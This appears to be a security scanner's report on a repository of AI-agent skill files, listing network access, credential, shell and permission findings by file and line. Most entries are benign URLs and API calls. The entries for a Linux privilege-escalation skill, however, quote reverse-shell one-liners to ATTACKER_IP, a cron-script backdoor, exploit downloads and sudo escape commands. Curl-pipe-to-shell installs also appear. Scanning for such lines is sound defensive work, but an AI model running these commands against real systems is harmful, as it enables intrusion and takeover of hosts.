  • Network accessline 364
    const [users, posts] = await Promise.all([     fetch("/api/users"),     fetch("/api/posts"),
  • Network accessline 365
    fetch("/api/users"),
  • Network accessline 366
    fetch("/api/posts"),
  • Network accessline 644
    - [33 JS Concepts](https://github.com/leonardomso/33-js-concepts)
  • Network accessline 645
    - [JavaScript.info](https://javascript.info/)
  • Network accessline 646
    - [MDN JavaScript Guide](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide)
  • Network accessline 647
    - [You Don't Know JS](https://github.com/getify/You-Dont-Know-JS)

skills/javascript-testing-patterns/resources/implementation-playbook.md

  • Network accessline 212
    export class ApiService {   async fetchUser(id: string): Promise<User> {     const response = await fetch(`https://api.example.com/users/${id}`);
  • Network accessline 213
    async fetchUser(id: string): Promise<User> {     const response = await fetch(`https://api.example.com/users/${id}`);     if (!response.ok) {
  • Network accessline 214
    const response = await fetch(`https://api.example.com/users/${id}`);
  • Network accessline 221
    async createUser(user: CreateUserDTO): Promise<User> {     const response = await fetch('https://api.example.com/users', {
  • Network accessline 222
    const response = await fetch('https://api.example.com/users', {
  • Network accessline 257
    expect(user).toEqual(mockUser);       expect(fetch).toHaveBeenCalledWith('https://api.example.com/users/1');
  • Network accessline 258
    expect(fetch).toHaveBeenCalledWith('https://api.example.com/users/1');
  • Network accessline 282
    expect(user).toEqual(createdUser);       expect(fetch).toHaveBeenCalledWith(         'https://api.example.com/users',
  • Network accessline 283
    expect(fetch).toHaveBeenCalledWith(         'https://api.example.com/users',         expect.objectContaining({
  • Network accessline 284
    'https://api.example.com/users',
  • Network accessline 916
    name: 'John Doe',       email: 'john@example.com',       avatar: 'https://example.com/avatar.jpg',
  • Network accessline 917
    email: 'john@example.com',       avatar: 'https://example.com/avatar.jpg',     };
  • Network accessline 918
    avatar: 'https://example.com/avatar.jpg',
  • Network accessline 1021
    - **Jest Documentation**: https://jestjs.io/
  • Network accessline 1022
    - **Vitest Documentation**: https://vitest.dev/
  • Network accessline 1023
    - **Testing Library**: https://testing-library.com/
  • Network accessline 1024
    - **Kent C. Dodds Testing Blog**: https://kentcdodds.com/blog/

skills/javascript-typescript-typescript-scaffold/SKILL.md

  • Access to secretsline 55
    [Credential-related source omitted]

skills/jira-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/k8s-manifest-generator/assets/configmap-template.yaml

  • Network accessline 99
    location / {         proxy_pass http://backend:8080;
  • Network accessline 100
    proxy_pass http://backend:8080;
  • Network accessline 188
    # Wait for database     until nc -z $DATABASE_HOST $DATABASE_PORT; do
  • Network accessline 189
    until nc -z $DATABASE_HOST $DATABASE_PORT; do
  • Network accessline 208
    # Check application health endpoint     response=$(curl -sf http://localhost:8080/health)
  • Network accessline 209
    response=$(curl -sf http://localhost:8080/health)

skills/k8s-manifest-generator/references/deployment-spec.md

  • Network accessline 72
    - name: init-db         image: busybox:1.36         command: ['sh', '-c', 'until nc -z db-service 5432; do sleep 1; done']
  • Network accessline 73
    image: busybox:1.36         command: ['sh', '-c', 'until nc -z db-service 5432; do sleep 1; done']         securityContext:
  • Network accessline 74
    command: ['sh', '-c', 'until nc -z db-service 5432; do sleep 1; done']
  • Network accessline 648
    - -c         - |           until nc -z database-service 5432; do
  • Network accessline 649
    - |           until nc -z database-service 5432; do             echo "Waiting for database..."
  • Network accessline 650
    until nc -z database-service 5432; do
  • Network accessline 751
    - [Kubernetes Deployment API Reference](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.28/#deployment-v1-apps)
  • Network accessline 752
    - [Pod Security Standards](https://kubernetes.io/docs/concepts/security/pod-security-standards/)
  • Network accessline 753
    - [Resource Management](https://kubernetes.io/docs/concepts/configuration/manage-resources-containers/)

skills/k8s-manifest-generator/references/service-spec.md

  • Network accessline 358
    curl http://backend-service.production.svc.cluster.local
  • Network accessline 363
    curl http://backend-service
  • Network accessline 722
    - [Kubernetes Service API Reference](https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.28/#service-v1-core)
  • Network accessline 723
    - [Service Networking](https://kubernetes.io/docs/concepts/services-networking/service/)
  • Network accessline 724
    - [DNS for Services and Pods](https://kubernetes.io/docs/concepts/services-networking/dns-pod-service/)

skills/k8s-manifest-generator/resources/implementation-playbook.md

  • Access to secretsline 207
    [Credential-related source omitted]

skills/kaizen/SKILL.md

  • Access to secretsline 304
    [Credential-related source omitted]
  • Access to secretsline 306
    [Credential-related source omitted]
  • Network accessline 372
    class UserAPIClient {   async getUser(id: string): Promise<User> {     return this.fetch(`/users/${id}`);
  • Network accessline 373
    async getUser(id: string): Promise<User> {     return this.fetch(`/users/${id}`);   }
  • Network accessline 374
    return this.fetch(`/users/${id}`);
  • Network accessline 379
    class OrderAPIClient {   async getOrder(id: string): Promise<Order> {     return this.fetch(`/orders/${id}`);
  • Network accessline 380
    async getOrder(id: string): Promise<Order> {     return this.fetch(`/orders/${id}`);   }
  • Network accessline 381
    return this.fetch(`/orders/${id}`);
  • Network accessline 446
    * @example  * const result = await retry(  *   () => fetch('https://api.example.com/data'),
  • Network accessline 447
    * const result = await retry(  *   () => fetch('https://api.example.com/data'),  *   { maxAttempts: 3, baseDelay: 1000 }
  • Network accessline 448
    *   () => fetch('https://api.example.com/data'),

skills/klaviyo-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/kpi-dashboard-design/SKILL.md

  • Network accessline 440
    - [Stephen Few's Dashboard Design](https://www.perceptualedge.com/articles/visual_business_intelligence/rules_for_using_color.pdf)
  • Network accessline 441
    - [Edward Tufte's Principles](https://www.edwardtufte.com/tufte/)
  • Network accessline 442
    - [Google Data Studio Gallery](https://datastudio.google.com/gallery)

skills/langfuse/SKILL.md

  • Network accessline 46
    public_key="pk-...",     secret_key="sk-...",     host="https://cloud.langfuse.com"  # or self-hosted URL
  • Network accessline 47
    secret_key="sk-...",     host="https://cloud.langfuse.com"  # or self-hosted URL )
  • Network accessline 48
    host="https://cloud.langfuse.com"  # or self-hosted URL
  • Network accessline 156
    public_key="pk-...",     secret_key="sk-...",     host="https://cloud.langfuse.com",
  • Network accessline 157
    secret_key="sk-...",     host="https://cloud.langfuse.com",     session_id="session-123",
  • Network accessline 158
    host="https://cloud.langfuse.com",

skills/langgraph/SKILL.md

  • Dangerous shell operationline 67
    return str(eval(expression))

skills/laravel-security-audit/SKILL.md

  • Access to secretsline 49
    [Credential-related source omitted]
  • Access to secretsline 158
    [Credential-related source omitted]

skills/last30days/README.md

  • Network accessline 12
    # Clone the repo git clone https://github.com/mvanhorn/last30days-skill.git ~/.claude/skills/last30days
  • Network accessline 13
    git clone https://github.com/mvanhorn/last30days-skill.git ~/.claude/skills/last30days
  • Access to secretsline 17
    [Credential-related source omitted]
  • Access to secretsline 18
    [Credential-related source omitted]
  • Access to secretsline 19
    [Credential-related source omitted]
  • Access to secretsline 21
    [Credential-related source omitted]
  • Network accessline 171
    # Clone and setup git clone https://github.com/clawdbot/clawdbot.git
  • Network accessline 172
    git clone https://github.com/clawdbot/clawdbot.git
  • Access to secretsline 183
    [Credential-related source omitted]

skills/last30days/SKILL.md

  • Broad permissionsline 1
    Bash, Read, Write, AskUserQuestion, WebSearch
  • Access to secretsline 73
    [Credential-related source omitted]
  • Access to secretsline 78
    [Credential-related source omitted]
  • Access to secretsline 81
    [Credential-related source omitted]
  • Access to secretsline 84
    [Credential-related source omitted]
  • Access to secretsline 85
    [Credential-related source omitted]
  • Access to secretsline 284
    [Credential-related source omitted]
  • Access to secretsline 285
    [Credential-related source omitted]
  • Access to secretsline 286
    [Credential-related source omitted]
  • Access to secretsline 422
    [Credential-related source omitted]

skills/last30days/fixtures/openai_sample.json

  • Network accessline 10
    {           "type": "output_text",           "text": "{\n  \"items\": [\n    {\n      \"title\": \"Best practices for Claude Code skills - comprehensive guide\",\n      \"url\": \"https://reddit.com/r/ClaudeAI/comments/abc123/best_practices
  • Network accessline 11
    "type": "output_text",           "text": "{\n  \"items\": [\n    {\n      \"title\": \"Best practices for Claude Code skills - comprehensive guide\",\n      \"url\": \"https://reddit.com/r/ClaudeAI/comments/abc123/best_practices_for_claude_
  • Network accessline 12
    "text": "{\n  \"items\": [\n    {\n      \"title\": \"Best practices for Claude Code skills - comprehensive guide\",\n      \"url\": \"https://reddit.com/r/ClaudeAI/comments/abc123/best_practices_for_claude_code_skills\",\n      \"subreddit

skills/last30days/fixtures/reddit_thread_sample.json

  • Access to secretsline 81
    [Credential-related source omitted]

skills/last30days/fixtures/xai_sample.json

  • Network accessline 10
    {           "type": "output_text",           "text": "{\n  \"items\": [\n    {\n      \"text\": \"Just shipped my first Claude Code skill! The SKILL.md format is incredibly intuitive. Pro tip: use context: fork for resource-intensive operat
  • Network accessline 11
    "type": "output_text",           "text": "{\n  \"items\": [\n    {\n      \"text\": \"Just shipped my first Claude Code skill! The SKILL.md format is incredibly intuitive. Pro tip: use context: fork for resource-intensive operations.\",\n  
  • Network accessline 12
    "text": "{\n  \"items\": [\n    {\n      \"text\": \"Just shipped my first Claude Code skill! The SKILL.md format is incredibly intuitive. Pro tip: use context: fork for resource-intensive operations.\",\n      \"url\": \"https://x.com/devu

skills/last30days/plans/feat-add-websearch-source.md

  • Network accessline 107
    {{       "title": "Page title",       "url": "https://...",
  • Network accessline 108
    "title": "Page title",       "url": "https://...",       "source_domain": "example.com",
  • Network accessline 109
    "url": "https://...",
  • Access to secretsline 264
    [Credential-related source omitted]
  • Access to secretsline 265
    [Credential-related source omitted]
  • Network accessline 387
    ### External References - Claude WebSearch docs: https://platform.claude.com/docs/en/agents-and-tools/tool-use/web-search-tool
  • Network accessline 388
    - Claude WebSearch docs: https://platform.claude.com/docs/en/agents-and-tools/tool-use/web-search-tool

skills/last30days/scripts/last30days.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 78
    [Credential-related source omitted]
  • Access to secretsline 101
    [Credential-related source omitted]
  • Access to secretsline 141
    [Credential-related source omitted]
  • Access to secretsline 320
    [Credential-related source omitted]
  • Access to secretsline 384
    [Credential-related source omitted]
  • Access to secretsline 385
    [Credential-related source omitted]

skills/last30days/scripts/lib/__init__.py

  • Executable scriptline 1
    Executable file

skills/last30days/scripts/lib/cache.py

  • Executable scriptline 1
    Executable file

skills/last30days/scripts/lib/dates.py

  • Executable scriptline 1
    Executable file

skills/last30days/scripts/lib/dedupe.py

  • Executable scriptline 1
    Executable file

skills/last30days/scripts/lib/env.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 8
    [Credential-related source omitted]
  • Access to secretsline 35
    [Credential-related source omitted]
  • Access to secretsline 41
    [Credential-related source omitted]
  • Access to secretsline 42
    [Credential-related source omitted]
  • Access to secretsline 43
    [Credential-related source omitted]
  • Access to secretsline 44
    [Credential-related source omitted]
  • Access to secretsline 45
    [Credential-related source omitted]
  • Access to secretsline 46
    [Credential-related source omitted]
  • Access to secretsline 62
    [Credential-related source omitted]
  • Access to secretsline 63
    [Credential-related source omitted]
  • Access to secretsline 80
    [Credential-related source omitted]
  • Access to secretsline 81
    [Credential-related source omitted]
  • Access to secretsline 111
    [Credential-related source omitted]

skills/last30days/scripts/lib/http.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 13
    [Credential-related source omitted]
  • Network accessline 66
    req = urllib.request.Request(url, data=data, headers=headers, method=method)
  • Network accessline 73
    for attempt in range(retries):         try:             with urllib.request.urlopen(req, timeout=timeout) as response:
  • Network accessline 74
    try:             with urllib.request.urlopen(req, timeout=timeout) as response:                 body = response.read().decode('utf-8')
  • Network accessline 75
    with urllib.request.urlopen(req, timeout=timeout) as response:
  • Network accessline 145
    url = f"https://www.reddit.com{path}?raw_json=1"

skills/last30days/scripts/lib/models.py

  • Executable scriptline 1
    Executable file
  • Network accessline 9
    OPENAI_MODELS_URL = "https://api.openai.com/v1/models"
  • Network accessline 13
    XAI_MODELS_URL = "https://api.x.ai/v1/models"
  • Access to secretsline 52
    [Credential-related source omitted]
  • Access to secretsline 60
    [Credential-related source omitted]
  • Access to secretsline 81
    [Credential-related source omitted]
  • Access to secretsline 111
    [Credential-related source omitted]
  • Access to secretsline 119
    [Credential-related source omitted]
  • Access to secretsline 159
    [Credential-related source omitted]
  • Access to secretsline 161
    [Credential-related source omitted]
  • Access to secretsline 167
    [Credential-related source omitted]
  • Access to secretsline 169
    [Credential-related source omitted]

skills/last30days/scripts/lib/normalize.py

  • Executable scriptline 1
    Executable file

skills/last30days/scripts/lib/openai_reddit.py

  • Executable scriptline 1
    Executable file
  • Network accessline 16
    OPENAI_RESPONSES_URL = "https://api.openai.com/v1/responses"
  • Network accessline 57
    {{       "title": "Thread title",       "url": "https://www.reddit.com/r/sub/comments/xyz/title/",
  • Network accessline 58
    "title": "Thread title",       "url": "https://www.reddit.com/r/sub/comments/xyz/title/",       "subreddit": "subreddit_name",
  • Network accessline 59
    "url": "https://www.reddit.com/r/sub/comments/xyz/title/",
  • Access to secretsline 80
    [Credential-related source omitted]
  • Access to secretsline 92
    [Credential-related source omitted]
  • Access to secretsline 109
    [Credential-related source omitted]

skills/last30days/scripts/lib/reddit_enrich.py

  • Executable scriptline 1
    Executable file
  • Network accessline 218
    for c in top_comments:         permalink = c.get("permalink", "")         comment_url = f"https://reddit.com{permalink}" if permalink else ""
  • Network accessline 219
    permalink = c.get("permalink", "")         comment_url = f"https://reddit.com{permalink}" if permalink else ""         item["top_comments"].append({
  • Network accessline 220
    comment_url = f"https://reddit.com{permalink}" if permalink else ""

skills/last30days/scripts/lib/render.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 68
    [Credential-related source omitted]
  • Access to secretsline 69
    [Credential-related source omitted]
  • Access to secretsline 90
    [Credential-related source omitted]
  • Access to secretsline 93
    [Credential-related source omitted]

skills/last30days/scripts/lib/schema.py

  • Executable scriptline 1
    Executable file

skills/last30days/scripts/lib/score.py

  • Executable scriptline 1
    Executable file

skills/last30days/scripts/lib/ui.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 90
    [Credential-related source omitted]
  • Access to secretsline 93
    [Credential-related source omitted]
  • Access to secretsline 106
    [Credential-related source omitted]
  • Access to secretsline 109
    [Credential-related source omitted]
  • Access to secretsline 111
    [Credential-related source omitted]
  • Access to secretsline 118
    [Credential-related source omitted]
  • Access to secretsline 121
    [Credential-related source omitted]
  • Access to secretsline 126
    [Credential-related source omitted]
  • Access to secretsline 127
    [Credential-related source omitted]

skills/last30days/scripts/lib/websearch.py

  • Executable scriptline 1
    Executable file

skills/last30days/scripts/lib/xai_x.py

  • Executable scriptline 1
    Executable file
  • Network accessline 17
    XAI_RESPONSES_URL = "https://api.x.ai/v1/responses"
  • Network accessline 33
    {{       "text": "Post text content (truncated if long)",       "url": "https://x.com/user/status/...",
  • Network accessline 34
    "text": "Post text content (truncated if long)",       "url": "https://x.com/user/status/...",       "author_handle": "username",
  • Network accessline 35
    "url": "https://x.com/user/status/...",
  • Access to secretsline 59
    [Credential-related source omitted]
  • Access to secretsline 70
    [Credential-related source omitted]
  • Access to secretsline 87
    [Credential-related source omitted]

skills/last30days/tests/__init__.py

  • Executable scriptline 1
    Executable file

skills/last30days/tests/test_cache.py

  • Executable scriptline 1
    Executable file

skills/last30days/tests/test_dates.py

  • Executable scriptline 1
    Executable file

skills/last30days/tests/test_dedupe.py

  • Executable scriptline 1
    Executable file

skills/last30days/tests/test_models.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 116
    [Credential-related source omitted]
  • Access to secretsline 124
    [Credential-related source omitted]
  • Access to secretsline 125
    [Credential-related source omitted]

skills/last30days/tests/test_normalize.py

  • Executable scriptline 1
    Executable file
  • Network accessline 17
    "id": "R1",                 "title": "Test Thread",                 "url": "https://reddit.com/r/test/1",
  • Network accessline 18
    "title": "Test Thread",                 "url": "https://reddit.com/r/test/1",                 "subreddit": "test",
  • Network accessline 19
    "url": "https://reddit.com/r/test/1",
  • Network accessline 38
    "id": "R1",                 "title": "Old Thread",                 "url": "https://reddit.com/r/test/1",
  • Network accessline 39
    "title": "Old Thread",                 "url": "https://reddit.com/r/test/1",                 "subreddit": "test",
  • Network accessline 40
    "url": "https://reddit.com/r/test/1",
  • Network accessline 54
    "id": "R1",                 "title": "Thread with engagement",                 "url": "https://reddit.com/r/test/1",
  • Network accessline 55
    "title": "Thread with engagement",                 "url": "https://reddit.com/r/test/1",                 "subreddit": "test",
  • Network accessline 56
    "url": "https://reddit.com/r/test/1",
  • Network accessline 78
    "id": "X1",                 "text": "Test post content",                 "url": "https://x.com/user/status/123",
  • Network accessline 79
    "text": "Test post content",                 "url": "https://x.com/user/status/123",                 "author_handle": "testuser",
  • Network accessline 80
    "url": "https://x.com/user/status/123",
  • Network accessline 98
    "id": "X1",                 "text": "Post with engagement",                 "url": "https://x.com/user/status/123",
  • Network accessline 99
    "text": "Post with engagement",                 "url": "https://x.com/user/status/123",                 "author_handle": "user",
  • Network accessline 100
    "url": "https://x.com/user/status/123",
  • Network accessline 123
    id="R1",                 title="Test",                 url="https://reddit.com/r/test/1",
  • Network accessline 124
    title="Test",                 url="https://reddit.com/r/test/1",                 subreddit="test",
  • Network accessline 125
    url="https://reddit.com/r/test/1",

skills/last30days/tests/test_render.py

  • Executable scriptline 1
    Executable file
  • Network accessline 41
    id="R1",                     title="Test Thread",                     url="https://reddit.com/r/test/1",
  • Network accessline 42
    title="Test Thread",                     url="https://reddit.com/r/test/1",                     subreddit="test",
  • Network accessline 43
    url="https://reddit.com/r/test/1",

skills/last30days/tests/test_score.py

  • Executable scriptline 1
    Executable file
  • Network accessline 85
    id="R1",                 title="Test",                 url="https://reddit.com/r/test/1",
  • Network accessline 86
    title="Test",                 url="https://reddit.com/r/test/1",                 subreddit="test",
  • Network accessline 87
    url="https://reddit.com/r/test/1",
  • Network accessline 95
    id="R2",                 title="Test 2",                 url="https://reddit.com/r/test/2",
  • Network accessline 96
    title="Test 2",                 url="https://reddit.com/r/test/2",                 subreddit="test",
  • Network accessline 97
    url="https://reddit.com/r/test/2",
  • Network accessline 124
    id="X1",                 text="Test post",                 url="https://x.com/user/1",
  • Network accessline 125
    text="Test post",                 url="https://x.com/user/1",                 author_handle="user1",
  • Network accessline 126
    url="https://x.com/user/1",

skills/linear-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/linear-claude-skill/SKILL.md

  • Network accessline 4
    allowed-tools:  - WebFetch(domain: linear.app) source: "https://github.com/wrsmith108/linear-claude-skill"
  • Network accessline 5
    - WebFetch(domain: linear.app) source: "https://github.com/wrsmith108/linear-claude-skill" risk: safe
  • Network accessline 6
    source: "https://github.com/wrsmith108/linear-claude-skill"
  • Access to secretsline 65
    [Credential-related source omitted]
  • Access to secretsline 80
    [Credential-related source omitted]
  • Access to secretsline 82
    [Credential-related source omitted]
  • Access to secretsline 90
    [Credential-related source omitted]
  • Access to secretsline 93
    [Credential-related source omitted]
  • Access to secretsline 100
    [Credential-related source omitted]
  • Access to secretsline 121
    [Credential-related source omitted]
  • Network accessline 130
    1. Open [Linear](https://linear.app) in your browser
  • Access to secretsline 137
    [Credential-related source omitted]
  • Access to secretsline 140
    [Credential-related source omitted]
  • Network accessline 354
    "linear": {       "command": "npx",       "args": ["mcp-remote", "https://mcp.linear.app/sse"],
  • Network accessline 355
    [Credential-related source omitted]
  • Network accessline 356
    "args": ["mcp-remote", "https://mcp.linear.app/sse"],
  • Access to secretsline 357
    [Credential-related source omitted]
  • Network accessline 543
    **External:** [Linear MCP Documentation](https://linear.app/docs/mcp.md)

skills/linkedin-automation/SKILL.md

  • Network accessline 22
    **Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.

skills/linkerd-patterns/SKILL.md

  • Network accessline 71
    # Install CLI curl --proto '=https' --tlsv1.2 -sSfL https://run.linkerd.io/install | sh
  • Dangerous shell operationline 72
    curl --proto '=https' --tlsv1.2 -sSfL https://run.linkerd.io/install | sh
  • Network accessline 72
    curl --proto '=https' --tlsv1.2 -sSfL https://run.linkerd.io/install | sh
  • Network accessline 257
    # Link clusters linkerd multicluster link --cluster-name west \   --api-server-address https://west.example.com:6443 \
  • Network accessline 258
    linkerd multicluster link --cluster-name west    --api-server-address https://west.example.com:6443
  • Network accessline 259
    --api-server-address https://west.example.com:6443 \
  • Network accessline 321
    - [Linkerd Documentation](https://linkerd.io/2.14/overview/)
  • Network accessline 322
    - [Service Profiles](https://linkerd.io/2.14/features/service-profiles/)
  • Network accessline 323
    - [Authorization Policy](https://linkerd.io/2.14/features/server-policy/)

skills/lint-and-validate/SKILL.md

  • Broad permissionsline 1
    Read, Glob, Grep, Bash

skills/lint-and-validate/scripts/lint_runner.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/lint-and-validate/scripts/type_coverage.py

  • Executable scriptline 1
    #!/usr/bin/env python3

skills/linux-privilege-escalation/SKILL.md

  • Dangerous shell operationline 3
    description: "This skill should be used when the user asks to \"escalate privileges on Linux\", \"find privesc vectors on Linux systems\", \"exploit sudo misconfigurations\", \"abuse SUID binaries\", \"ex..."
  • Dangerous shell operationline 15
    Execute systematic privilege escalation assessments on Linux systems to identify and exploit misconfigurations, vulnerable services, and security weaknesses that allow elevation from low-privilege user access to root-level control. This ski
  • Network accessline 34
    - GTFOBins reference for binary exploitation - John the Ripper or Hashcat for password cracking - Netcat or similar for reverse shells
  • Network accessline 36
    - Netcat or similar for reverse shells
  • Network accessline 145
    # LinPEAS curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
  • Dangerous shell operationline 146
    curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
  • Network accessline 146
    curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
  • Network accessline 164
    # On target machine wget http://ATTACKER_IP:8000/linpeas.sh
  • Network accessline 165
    wget http://ATTACKER_IP:8000/linpeas.sh
  • Network accessline 200
    # Transfer exploit source wget http://ATTACKER_IP/exploit.c
  • Network accessline 201
    wget http://ATTACKER_IP/exploit.c
  • Dangerous shell operationline 210
    ### Phase 4: Sudo Exploitation
  • Dangerous shell operationline 212
    #### Enumerate Sudo Privileges
  • Dangerous shell operationline 215
    sudo -l
  • Dangerous shell operationline 218
    #### GTFOBins Sudo Exploitation
  • Network accessline 218
    #### GTFOBins Sudo Exploitation Reference https://gtfobins.github.io for exploitation commands:
  • Network accessline 219
    Reference https://gtfobins.github.io for exploitation commands:
  • Dangerous shell operationline 223
    sudo vim -c ':!/bin/bash'
  • Dangerous shell operationline 226
    sudo find . -exec /bin/sh \; -quit
  • Dangerous shell operationline 229
    sudo awk 'BEGIN {system("/bin/bash")}'
  • Dangerous shell operationline 232
    sudo python -c 'import os; os.system("/bin/bash")'
  • Dangerous shell operationline 235
    sudo less /etc/passwd
  • Dangerous shell operationline 261
    sudo LD_PRELOAD=/tmp/shell.so find
  • Network accessline 354
    # Identify writable cron script from /etc/crontab ls -la /opt/backup.sh        # Check permissions echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /opt/backup.sh
  • Dangerous shell operationline 356
    echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /opt/backup.sh
  • Network accessline 356
    echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' >> /opt/backup.sh
  • Network accessline 358
    # If cron references non-existent script in writable PATH echo -e '#!/bin/bash\nbash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' > /home/user/antivirus.sh
  • Dangerous shell operationline 359
    echo -e '#!/bin/bash\nbash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' > /home/user/antivirus.sh
  • Network accessline 359
    echo -e '#!/bin/bash\nbash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' > /home/user/antivirus.sh
  • Dangerous shell operationline 402
    | Sudo rights | `sudo -l` |
  • Network accessline 411
    # Bash bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
  • Dangerous shell operationline 412
    bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
  • Network accessline 412
    bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
  • Network accessline 414
    # Python python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
  • Network accessline 415
    python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATTACKER_IP",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/bash","-i"])'
  • Network accessline 417
    # Netcat nc -e /bin/bash ATTACKER_IP 4444
  • Dangerous shell operationline 418
    nc -e /bin/bash ATTACKER_IP 4444
  • Network accessline 418
    nc -e /bin/bash ATTACKER_IP 4444
  • Dangerous shell operationline 421
    perl -e 'use Socket;$i="ATTACKER_IP";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");'
  • Network accessline 424
    ### Key Resources - GTFOBins: https://gtfobins.github.io
  • Network accessline 425
    - GTFOBins: https://gtfobins.github.io
  • Network accessline 426
    - LinPEAS: https://github.com/carlospolop/PEASS-ng
  • Network accessline 427
    - Linux Exploit Suggester: https://github.com/mzet-/linux-exploit-suggester
  • Dangerous shell operationline 441
    - Hardened systems may have restricted sudo configurations
  • Dangerous shell operationline 451
    ### Example 1: Sudo to Root via find
  • Dangerous shell operationline 453
    **Scenario**: User has sudo rights for find command
  • Dangerous shell operationline 456
    $ sudo -l
  • Dangerous shell operationline 460
    $ sudo find . -exec /bin/bash \; -quit

skills/linux-shell-scripting/SKILL.md

  • Dangerous shell operationline 71
    rm -r "$backup_dir/$oldest_backup"
  • Network accessline 290
    #!/bin/bash websites=("https://google.com" "https://github.com")
  • Network accessline 291
    websites=("https://google.com" "https://github.com")
  • Network accessline 296
    for website in "${websites[@]}"; do     if curl --output /dev/null --silent --head --fail --max-time 10 "$website"; then
  • Network accessline 297
    if curl --output /dev/null --silent --head --fail --max-time 10 "$website"; then
  • Dangerous shell operationline 331
    sudo apt-get install -y "$package"
  • Dangerous shell operationline 358
    sudo systemctl restart "$service_name"
  • Dangerous shell operationline 362
    sudo systemctl start "$service_name"
  • Dangerous shell operationline 389
    find "$directory" -type f -mtime +"$days" -exec rm -v {} \;
  • Dangerous shell operationline 505
    - Many scripts require root/sudo privileges

skills/llm-app-patterns/SKILL.md

  • Network accessline 10
    > Production-ready patterns for building LLM applications, inspired by [Dify](https://github.com/langgenius/dify) and industry best practices.
  • Network accessline 759
    - [Dify Platform](https://github.com/langgenius/dify)
  • Network accessline 760
    - [LangChain Docs](https://python.langchain.com/)
  • Network accessline 761
    - [LlamaIndex](https://www.llamaindex.ai/)
  • Network accessline 762
    - [Anthropic Cookbook](https://github.com/anthropics/anthropic-cookbook)

skills/loki-mode/.github/workflows/claude-code-review.yml

  • Network accessline 54
    # See https://github.com/anthropics/claude-code-action/blob/main/docs/usage.md
  • Network accessline 55
    # or https://code.claude.com/docs/en/cli-reference for available options

skills/loki-mode/.github/workflows/claude.yml

  • Network accessline 46
    # Optional: Add claude_args to customize behavior and configuration           # See https://github.com/anthropics/claude-code-action/blob/main/docs/usage.md
  • Network accessline 47
    # See https://github.com/anthropics/claude-code-action/blob/main/docs/usage.md
  • Network accessline 48
    # or https://code.claude.com/docs/en/cli-reference for available options

skills/loki-mode/ACKNOWLEDGEMENTS.md

  • Network accessline 13
    | Paper/Resource | Contribution to Loki Mode | |----------------|---------------------------| | [Constitutional AI: Harmlessness from AI Feedback](https://www.anthropic.com/research/constitutional-ai-harmlessness-from-ai-feedback) | Self-cr
  • Network accessline 14
    |----------------|---------------------------| | [Constitutional AI: Harmlessness from AI Feedback](https://www.anthropic.com/research/constitutional-ai-harmlessness-from-ai-feedback) | Self-critique against principles, revision workflow | 
  • Network accessline 15
    | [Constitutional AI: Harmlessness from AI Feedback](https://www.anthropic.com/research/constitutional-ai-harmlessness-from-ai-feedback) | Self-critique against principles, revision workflow |
  • Network accessline 16
    | [Building Effective Agents](https://www.anthropic.com/research/building-effective-agents) | Evaluator-optimizer pattern, parallelization, routing |
  • Network accessline 17
    | [Claude Code Best Practices](https://www.anthropic.com/engineering/claude-code-best-practices) | Explore-Plan-Code workflow, context management |
  • Network accessline 18
    | [Simple Probes Can Catch Sleeper Agents](https://www.anthropic.com/research/probes-catch-sleeper-agents) | Defection probes, anomaly detection patterns |
  • Network accessline 19
    | [Alignment Faking in Large Language Models](https://www.anthropic.com/research/alignment-faking) | Monitoring for strategic compliance |
  • Network accessline 20
    | [Visible Extended Thinking](https://www.anthropic.com/research/visible-extended-thinking) | Thinking levels (think, think hard, ultrathink) |
  • Network accessline 21
    | [Computer Use Safety](https://www.anthropic.com/news/3-5-models-and-computer-use) | Safe autonomous operation patterns |
  • Network accessline 22
    | [Sabotage Evaluations](https://www.anthropic.com/research/sabotage-evaluations-for-frontier-models) | Safety evaluation methodology |
  • Network accessline 23
    | [Effective Harnesses for Long-Running Agents](https://www.anthropic.com/engineering/effective-harnesses-for-long-running-agents) | One-feature-at-a-time pattern, Playwright MCP for E2E |
  • Network accessline 24
    | [Claude Agent SDK Overview](https://platform.claude.com/docs/en/agent-sdk/overview) | Task tool, subagents, resume parameter, hooks |
  • Network accessline 30
